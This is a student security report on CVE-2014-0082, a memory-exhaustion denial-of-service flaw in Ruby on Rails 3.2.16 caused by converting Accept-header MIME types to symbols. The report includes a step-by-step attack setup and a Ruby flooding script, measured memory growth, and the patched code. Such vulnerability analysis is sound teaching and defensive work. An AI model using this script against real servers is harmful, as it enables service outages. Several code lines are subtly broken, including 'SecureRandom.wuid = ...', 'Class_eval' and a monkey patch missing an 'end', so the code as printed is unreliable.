CVE-2014-0082

Urmas Talimaa
Andmeturve (MTAT.03.134)
Tartu Ülikool 2014

I. Vulnerability description

`actionpack/lib/action_view/template/text.rb` in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the :text option to the render method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.¹

II. Rendering in Ruby on Rails

Ruby on Rails is an open-source web framework that’s optimized for programmer happiness and sustainable productivity. It lets you write beautiful code by favoring convention over configuration.²

Ruby on Rails programs are written using the Model-View-Controller³ pattern. In many web frameworks creating controllers that render data in multiple formats can be cumbersome, Rails simplifies rendering multiple formats by including numerous rendering helpers. The formats that are supported out of the box are⁴:

- a simple file
- plain text
- HTML
- JSON
- XML
- Vanilla JavaScript

¹ [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0082](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0082)
² [http://rubyonrails.org/](http://rubyonrails.org/)
³ [http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)
⁴ [http://guides.rubyonrails.org/layouts_and_rendering.html](http://guides.rubyonrails.org/layouts_and_rendering.html)
One Rails controller can specify multiple strategies to respond to a request in any of the
called or custom-configured formats. The requester usually specifies the format by the
file extension, but can also provide a MIME\(^5\) type in the HTTP Accept\(^6\) header.

For example if we have a controller which fetches a list of vulnerabilities discovered in the
last month, then a request can be made to that controller specifying either the MIME type text/csv
or text/plain. The controller can cater to both of these requests rendering different content.

It needs to be noted that Rails is making some special checks when including the HTTP
Accept header\(^7\). The simplest way to get the HTTP Accept header accepted by Rails is just to
mark the request as an ajax request by setting the X-Requested-With header to XMLHttpRequest.

III. Vulnerability in the text template

The crux of the vulnerability lies in the text template which is defined in actionpack/lib/
action_view/template/text.r (version 3.2.16)

In the class definition the initialize method takes 2 arguments, the string content to render
and the mime_type. The instance variable @mime_type is set to either an instance of the Mime

\(^5\) http://en.wikipedia.org/wiki/Internet_media_type

\(^6\) http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

class if the mime_type is known or otherwise the passed in mime_type (which is most likely of type string). If the mime_type argument was left unspecified then @mime_type is set to Mime::TEXT.

When the formats method is called then the instance variable @mime_type is converted to a symbol (a memory-efficient Ruby language construct that is created only once during the lifetime of an application and is kept in only one place in the memory\(^8\)) using the to_sym method.

The to_sym method is called both when the MIME type was known and an instance of Mime had been found or when the MIME type was unknown. Converting an user-provided MIME type (or any user-provided input) to a symbol opens the door for a Denial of Service (DOS)\(^9\) attack against the server memory because every symbol is kept in memory permanently.

The formats method is called internally in the Rails rendering engine so every application which renders responses as text is vulnerable.

IV. Attacking the vulnerable server

Server preparation

Prerequisites: ruby
Install bundler:

```
$ gem install bundle
$ bundle init
```

Install vulnerable rails version:

```
$ echo 'gem "rails", "3.2.16"' >> Gemfile
$ bundle install
```

Generate a rails application in the current directory and install dependencies:

```
$ rails new . -f && bundle install
```

Create a controller which will allow the attack vector to be realised:

```
$ rails generate controller dos index
```

Use the text template in the controller method (render text: my_content invokes the text template internally):

```ruby
class DosController < ApplicationController
  def index
    render text: "vulnerability"
  end
end
```

8 http://www.ruby-doc.org/core-2.1.2/Symbol.html

9 http://www.cert.org/historical/tech_tips/denial_of_service.cfm
Start the rails server on port 3009:

```bash
$ rails server -p 3009
```

Creating the attack vector

Create file `vector.rb`

```ruby
require 'net/http'
require 'securerandom'
delay = ARGV[2].to_i
content_length = ARGV[1].to_i

def large_content_type(content_length)
  SecureRandom.wuid = "a" * content_length
end

for i in 1..ARGV[0].to_i do
  url = URI.parse("http://localhost:3009/dos/index")
  req = Net::HTTP::Get.new(url.path)
  req.add_field("Accept", large_content_type(content_length))
  req.add_field("X-Requested-With", "XMLHttpRequest")
  res = Net::HTTP.start(url.host, url.port) { |http| http.request(req) }
sleep delay / 1000
end
```

The program takes 3 arguments

- the number of requests to generate (`ARGV[0]`)
- a size multiplier for the `Accept` header (`ARGV[1]`)
- simulated network delay in milliseconds (`ARGV[2]`)

The program uses `HTTP Accept` and `X-Requested-With` headers to repeatedly make `GET` requests using randomly generated `Accept` headers to pollute the server memory with random symbols.

To monitor the real-memory (resident set) size of the ruby process on UNIX systems use

```bash
$ ps -o rss,command | grep 3009
```

On a Late 2013 MacBook Pro having 16GB of RAM the ruby process initially takes up **56 MB** of memory. Let’s run the attack program using 3000 requests using a size multiplier 100000 (which generates huge `Accept` headers) and a delay of 10 milliseconds.

```bash
$ ruby vector.rb 3000 100000 10
```

After four minutes of the resident set size of the ruby process has grown to **717 MB** of memory. In a real-life attack the headers size might be limited, but this can be compensated with sending more requests and using a distributed attack. Overall the memory limits of a server can be easily reached.
V. Fixing the vulnerability

There are a number of ways to fix a vulnerability within a Rails application. The fix in the source code can be seen at

https://github.com/rails/rails/commit/857c6ee62c0582273d76e7b21b1eb295359eb837

1. If Rails is installed from a package manager then the package has to updated (example for Red Hat Linux: https://rhn.redhat.com/errata/RHSA-2014-0215.html)

2. If Rails is being used as gem then the gem has to be updated to a version equal or higher than 3.2.17. gem install rails -v 3.2.17

3. If bundler\(^{10}\) is used then the Gemfile has to be updated to set the Rails version to 3.2.17 or higher gem 'rails', '>=3.2.17'

4. If an update can't be installed then the formats method can be monkey patched\(^{11}\). Monkey patching is the process of overwriting definitions of methods during runtime. The code included in the monkey patch (recommended at http://openwall.com/lists/oss-security/2014/02/18/10) does exactly the same as the fix in the source code. To include the fix the following code must be executed during Rails startup:

```ruby
module Turve
  class Application < Rails::Application

  ActiveSupport.on_load(:action_view) do
    ActionView::Template::Text::Class_eval do
      def formats
        @mime_type.respond_to?(:ref) ? @mime_type.ref : @mime_type.to_s
      end
    end
  end
end
```

VI. The essence of the fix

The fix avoids converting the instance variable @mime_type directly to a symbol. Instead a check is made to see if the variable responds to the ref method and if so then that method is called.

During the text template initialisation if the MIME type was known then @mime_type was set to an instance of Mime::Type. The ref method is defined in Mime::Type and is using to_sym internally.

If however the variable @mime_type doesn't respond to the ref method as is the case for an object of type string then the variable is just converted to (or kept as) a string.

Strings in contrast to symbols can be garbage-collected and thus the fix avoids polluting the memory with user-controlled symbols.

\(^{10}\) http://bundler.io/

\(^{11}\) http://www-runtime-era.com/2012/12/reopen-and-modify-ruby-classes-monkey.html